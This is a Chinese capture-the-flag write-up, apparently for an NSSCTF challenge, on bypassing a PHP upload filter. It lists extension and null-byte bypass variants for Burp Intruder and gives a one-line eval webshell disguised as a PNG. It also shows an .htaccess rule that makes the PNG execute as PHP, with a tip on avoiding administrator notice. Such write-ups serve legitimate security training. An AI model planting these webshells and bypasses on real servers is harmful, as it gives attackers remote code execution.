进入页面:
看到提示了吗,没看到也没关系,分享一个文件给大家,用来测试 PHP 文件上传可好用了。
php
php2
php3
php4
php5
php6
php7
phps
phps
pht
phtm
phtml
pgif
shtml
htaccess
phar
inc
hphp
ctp
module
php%20
php%0a
php%00
php%0d%0a
php/
php.
file.png.php
png.pHp5
php#.png
php%00.png
php\x00.png
php%0a.png
php%0d%0a.png
phpJunk123png
png.jpg.php
php%00.png%00.jpg
先写个马 eval.png :
BM
<script language="php">@eval($_POST['shell']);</script>
关于这个马的解释可以去看我的另一篇文章:
抓包,送到 burp 的 intruder 模块,导入文件,攻击:
当看到 htaccess 后缀名没被过滤的时候,我就有想法了。
可以参考:
.htaccess
文件是 Apache 的配置文件(注意文件名必须一模一样),其中可以设置一些规则,使得与 .htaccess
文件同目录的文件被当作 PHP 代码执行。
我们将要上传的 .htaccess
文件内容为:
<FilesMatch "eval.png">
SetHandler application/x-httpd-php
AddHandler php5-script .png
</FilesMatch>
这段代码的作用,就是使得与 .htaccess
同目录下的名为 eval.png
的文件被当成 PHP 代码执行。只设置一个文件,可以避免其他文件被误操作,当成 PHP 代码执行,在渗透测试过程中也可以减少被管理员发现的风险,是一个良好的习惯。
将此文件上传以后,再上传一个名为 eval.png 的文件,文件内容上面已经给出。
上传成功后会给出文件的路径,直接用蚁剑连接 eval.png 所在的路径即可。
http://node4.anna.nssctf.cn:xxxxx/upload/eval.png
在 /var/www/html/flag.php
文件中发现 flag :